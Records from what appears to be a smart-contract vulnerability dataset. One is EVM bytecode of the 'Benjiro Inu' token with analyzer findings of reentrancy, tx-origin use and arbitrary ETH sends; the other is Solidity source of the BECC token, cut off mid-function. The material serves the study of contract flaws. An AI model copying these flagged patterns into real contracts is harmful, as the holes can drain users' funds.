0405180910390f35b34801561073457600080fd5b5061073d6113ff565b005b600d5481565b6040518060400160405280600b81526020017f42656e6a69726f20496e7500000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107bf6118b0565b73ffffffffffffffffffffffffffffffffffffffff16146107df57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108719190612dc9565b60405180910390a150565b60006108906108896118b0565b84846118b8565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108db6118b0565b73ffffffffffffffffffffffffffffffffffffffff16146108fb57600080fd5b600a8210801561090b5750600a81105b80156109185750600a5482105b80156109255750600b5481105b610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b90612e30565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516109a7929190612e50565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff168015610a325750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a8b5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610aff573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af590612ec5565b60405180910390fd5b5b610b0a848484611a83565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b566118b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9b9190612f14565b9050610baf85610ba96118b0565b836118b8565b60019150509392505050565b6000610bc630610eab565b905090565b600981565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c696118b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c8957600080fd5b60008111610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc390612f94565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610d04919061296c565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d766118b0565b73ffffffffffffffffffffffffffffffffffffffff1614610d9657600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610e289190612dc9565b60405180910390a150565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e7a6118b0565b73ffffffffffffffffffffffffffffffffffffffff1614610e9a57600080fd5b6000479050610ea881612304565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610efc6118b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600781526020017f42454e4a49524f0000000000000000000000000000000000000000000000000081525081565b60006110d06110c96118b0565b8484611a83565b6001905092915050565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111216118b0565b73ffffffffffffffffffffffffffffffffffffffff161461114157600080fd5b600061114c30610eab565b9050611157816123f1565b50565b6111626118b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690613000565b60405180910390fd5b601060009054906101000a900460ff161561123f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112369061306c565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f819055506745639182808eca00600d819055506802b5e3af16b1880000600e81905550565b60006112af600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eab565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f56118b0565b73ffffffffffffffffffffffffffffffffffffffff161461131557600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff1660405161136d9190612b59565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114076118b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b90613000565b60405180910390fd5b601060009054906101000a900460ff16156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db9061306c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061157430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e391906130a1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166e91906130a1565b6040518363ffffffff1660e01b815260040161168b9291906130ce565b6020604051808303816000875af11580156116aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ce91906130a1565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061175730610eab565b600080611762611047565b426040518863ffffffff1660e01b815260040161178496959493929190613132565b60606040518083038185885af11580156117a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117c791906131a8565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118699291906131fb565b6020604051808303816000875af1158015611888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ac9190613239565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f906132d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f9061336a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a76919061296c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aea906133fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a9061348e565b60405180910390fd5b60008111611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d90613520565b60405180910390fd5b6000611bb0611047565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c1e5750611bee611047565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561223f57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cce5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d245750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561203f57601060009054906101000a900460ff16611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f9061358c565b60405180910390fd5b600f54421415611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db4906135f8565b60405180910390fd5b42610e10600f54611dce9190613618565b1115611e2d57600e54611de084610eab565b83611deb9190613618565b1115611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e23906136e0565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611f075760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078600f54611f179190613618565b1115611ff357600d54821115611f62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f599061374c565b60405180910390fd5b601e42611f6f9190613618565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611ff2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe9906137de565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156120685750601060009054906101000a900460ff165b80156120c25750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561223e57600f426120d49190613618565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90613870565b60405180910390fd5b600061216230610eab565b9050600081111561221f57601060029054906101000a900460ff1615612215576064600c546121b2600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eab565b6121bc9190613890565b6121c69190613919565b811115612214576064600c546121fd600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eab565b6122079190613890565b6122119190613919565b90505b5b61221e816123f1565b5b600047905060008111156122375761223647612304565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e65750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f057600090505b6122fd858585848661266a565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361234d9190613919565b9081150290604051600060405180830381858888f19350505050158015612378573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836123c29190613919565b9081150290604051600060405180830381858888f193505050501580156123ed573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124295761242861394a565b5b6040519080825280602002602001820160405280156124575781602001602082028036833780820191505090505b509050308160008151811061246f5761246e613979565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612516573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253a91906130a1565b8160018151811061254e5761254d613979565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125b530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118b8565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612619959493929190613a66565b600060405180830381600087803b15801561263357600080fd5b505af1158015612647573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6000612676838361268c565b9050612684868686846126e1565b505050505050565b6000806000905083156126d75782156126a957600a5490506126d6565b600b549050610e10600f546126be9190613618565b4210156126d5576005816126d29190613618565b90505b5b5b8091505092915050565b6000806126ee8484612884565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273d9190612f14565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127cb9190613618565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612817816128c2565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612874919061296c565b60405180910390a3505050505050565b6000806000606484866128979190613890565b6128a19190613919565b9050600081866128b19190612f14565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290d9190613618565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b61296681612953565b82525050565b6000602082019050612981600083018461295d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129c15780820151818401526020810190506129a6565b838111156129d0576000848401525b50505050565b6000601f19601f8301169050919050565b60006129f282612987565b6129fc8185612992565b9350612a0c8185602086016129a3565b612a15816129d6565b840191505092915050565b60006020820190508181036000830152612a3a81846129e7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a7282612a47565b9050919050565b612a8281612a67565b8114612a8d57600080fd5b50565b600081359050612a9f81612a79565b92915050565b600060208284031215612abb57612aba612a42565b5b6000612ac984828501612a90565b91505092915050565b612adb81612953565b8114612ae657600080fd5b50565b600081359050612af881612ad2565b92915050565b60008060408385031215612b1557612b14612a42565b5b6000612b2385828601612a90565b9250506020612b3485828601612ae9565b9150509250929050565b60008115159050919050565b612b5381612b3e565b82525050565b6000602082019050612b6e6000830184612b4a565b92915050565b60008060408385031215612b8b57612b8a612a42565b5b6000612b9985828601612ae9565b9250506020612baa85828601612ae9565b9150509250929050565b600080600060608486031215612bcd57612bcc612a42565b5b6000612bdb86828701612a90565b9350506020612bec86828701612a90565b9250506040612bfd86828701612ae9565b9150509250925092565b600060ff82169050919050565b612c1d81612c07565b82525050565b6000602082019050612c386000830184612c14565b92915050565b6000612c4982612a47565b9050919050565b612c5981612c3e565b82525050565b6000602082019050612c746000830184612c50565b92915050565b600060208284031215612c9057612c8f612a42565b5b6000612c9e84828501612ae9565b91505092915050565b612cb081612a67565b82525050565b6000602082019050612ccb6000830184612ca7565b92915050565b612cda81612b3e565b8114612ce557600080fd5b50565b600081359050612cf781612cd1565b92915050565b600060208284031215612d1357612d12612a42565b5b6000612d2184828501612ce8565b91505092915050565b60008060408385031215612d4157612d40612a42565b5b6000612d4f85828601612a90565b9250506020612d6085828601612a90565b9150509250929050565b6000819050919050565b6000612d8f612d8a612d8584612a47565b612d6a565b612a47565b9050919050565b6000612da182612d74565b9050919050565b6000612db382612d96565b9050919050565b612dc381612da8565b82525050565b6000602082019050612dde6000830184612dba565b92915050565b7f446f6e2774206265206772656564792e00000000000000000000000000000000600082015250565b6000612e1a601083612992565b9150612e2582612de4565b602082019050919050565b60006020820190508181036000830152612e4981612e0d565b9050919050565b6000604082019050612e65600083018561295d565b612e72602083018461295d565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b6000612eaf600a83612992565b9150612eba82612e79565b602082019050919050565b60006020820190508181036000830152612ede81612ea2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f1f82612953565b9150612f2a83612953565b925082821015612f3d57612f3c612ee5565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b6000612f7e601283612992565b9150612f8982612f48565b602082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612fea602083612992565b9150612ff582612fb4565b602082019050919050565b6000602082019050818103600083015261301981612fdd565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613056601783612992565b915061306182613020565b602082019050919050565b6000602082019050818103600083015261308581613049565b9050919050565b60008151905061309b81612a79565b92915050565b6000602082840312156130b7576130b6612a42565b5b60006130c58482850161308c565b91505092915050565b60006040820190506130e36000830185612ca7565b6130f06020830184612ca7565b9392505050565b6000819050919050565b600061311c613117613112846130f7565b612d6a565b612953565b9050919050565b61312c81613101565b82525050565b600060c0820190506131476000830189612ca7565b613154602083018861295d565b6131616040830187613123565b61316e6060830186613123565b61317b6080830185612ca7565b61318860a083018461295d565b979650505050505050565b6000815190506131a281612ad2565b92915050565b6000806000606084860312156131c1576131c0612a42565b5b60006131cf86828701613193565b93505060206131e086828701613193565b92505060406131f186828701613193565b9150509250925092565b60006040820190506132106000830185612ca7565b61321d602083018461295d565b9392505050565b60008151905061323381612cd1565b92915050565b60006020828403121561324f5761324e612a42565b5b600061325d84828501613224565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132c2602483612992565b91506132cd82613266565b604082019050919050565b600060208201905081810360008301526132f1816132b5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613354602283612992565b915061335f826132f8565b604082019050919050565b6000602082019050818103600083015261338381613347565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133e6602583612992565b91506133f18261338a565b604082019050919050565b60006020820190508181036000830152613415816133d9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613478602383612992565b91506134838261341c565b604082019050919050565b600060208201905081810360008301526134a78161346b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061350a602983612992565b9150613515826134ae565b604082019050919050565b60006020820190508181036000830152613539816134fd565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613576601883612992565b915061358182613540565b602082019050919050565b600060208201905081810360008301526135a581613569565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b60006135e2600b83612992565b91506135ed826135ac565b602082019050919050565b60006020820190508181036000830152613611816135d5565b9050919050565b600061362382612953565b915061362e83612953565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561366357613662612ee5565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b60006136ca602783612992565b91506136d58261366e565b604082019050919050565b600060208201905081810360008301526136f9816136bd565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613736601b83612992565b915061374182613700565b602082019050919050565b6000602082019050818103600083015261376581613729565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b60006137c8602283612992565b91506137d38261376c565b604082019050919050565b600060208201905081810360008301526137f7816137bb565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b600061385a602383612992565b9150613865826137fe565b604082019050919050565b600060208201905081810360008301526138898161384d565b9050919050565b600061389b82612953565b91506138a683612953565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138df576138de612ee5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061392482612953565b915061392f83612953565b92508261393f5761393e6138ea565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139dd81612a67565b82525050565b60006139ef83836139d4565b60208301905092915050565b6000602082019050919050565b6000613a13826139a8565b613a1d81856139b3565b9350613a28836139c4565b8060005b83811015613a59578151613a4088826139e3565b9750613a4b836139fb565b925050600181019050613a2c565b5085935050505092915050565b600060a082019050613a7b600083018861295d565b613a886020830187613123565b8181036040830152613a9a8186613a08565b9050613aa96060830185612ca7565b613ab6608083018461295d565b969550505050505056fea2646970667358221220d5e40776cfc9f70d55827ca328a7021ef60c7063ca74663c78ec867f359bf61d64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,309
0xdbb409e7c15f58186775959850df18967f7deade
pragma solidity ^0.4.24; // **************************************************************************** // // Symbol : BECC // Name : Beechain Exchange Cross-chain Coin // Decimals : 18 // Total supply : 500,000,000.000000000000000000 // Initial release : 70 percent (350,000,000.000000000000000000) // Initial Locked : 30 percent (150,000,000.000000000000000000) // Contract start : 2018-08-15 00:00:00 (UTC timestamp: 1534233600) // Lock duration : 180 days // Release rate : 10 percent / 30 days (15,000,000.000000000000000000) // Release duration: 300 days. // // **************************************************************************** // **************************************************************************** // Safe math // **************************************************************************** library SafeMath { function mul(uint _a, uint _b) internal pure returns (uint c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint _a, uint _b) internal pure returns (uint) { return _a / _b; } function sub(uint _a, uint _b) internal pure returns (uint) { assert(_b <= _a); return _a - _b; } function add(uint _a, uint _b) internal pure returns (uint c) { c = _a + _b; assert(c >= _a); return c; } } // **************************************************************************** // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // **************************************************************************** contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // **************************************************************************** // Contract function to receive approval and execute function // **************************************************************************** contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes data) public; } // **************************************************************************** // Owned contract // **************************************************************************** contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // **************************************************************************** // BECC Token, with the addition of symbol, name and decimals and a fixed supply // **************************************************************************** contract BECCToken is ERC20, Owned { using SafeMath for uint; event Pause(); event Unpause(); event ReleasedTokens(uint tokens); event AllocateTokens(address to, uint tokens); bool public paused = false; string public symbol; string public name; uint8 public decimals; uint private _totalSupply; //total supply uint private _initialRelease; //initial release uint private _locked; //locked tokens uint private _released = 0; //alloced tokens uint private _allocated = 0; uint private _startTime = 1534233600 + 180 days; //release start time:2018-08-15 00:00:00(UTC) + 180 days mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ************************************************************************ // Modifier to make a function callable only when the contract is not paused. // ************************************************************************ modifier whenNotPaused() { require(!paused); _; } // ************************************************************************ // Modifier to make a function callable only when the contract is paused. // ************************************************************************ modifier whenPaused() { require(paused); _; } // ************************************************************************ // Constructor // ************************************************************************ constructor() public { symbol = "BECC"; name = "Beechain Exchange Cross-chain Coin"; decimals = 18; _totalSupply = 500000000 * 10**uint(decimals); _initialRelease = _totalSupply * 7 / 10; _locked = _totalSupply * 3 / 10; balances[owner] = _initialRelease; emit Transfer(address(0), owner, _initialRelease); } // ************************************************************************ // Total supply // ************************************************************************ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ************************************************************************ // Get the token balance for account `tokenOwner` // ************************************************************************ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ************************************************************************ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ************************************************************************ function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { require(address(0) != to && tokens <= balances[msg.sender] && 0 <= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ************************************************************************ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ************************************************************************ function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { require(address(0) != spender && 0 <= tokens); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ************************************************************************ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ************************************************************************ function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { require(address(0) != to && tokens <= balances[from] && tokens <= allowed[from][msg.sender] && 0 <= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ************************************************************************ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ************************************************************************ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ************************************************************************ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ************************************************************************ function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ************************************************************************ // Don't accept ETH // ************************************************************************ function () public payable { revert(); } // ************************************************************************ // Owner can transfer out any accidentally sent ERC20 tokens // ************************************************************************ function transferERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } // ************************************************************************ // called by the owner to pause, triggers stopped state // ************************************************************************ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } // ************************************************************************ // called by the owner to unpause, returns to normal state // ************************************************************************ function unpause() public onlyOwner whenPaused { paused = false; emit 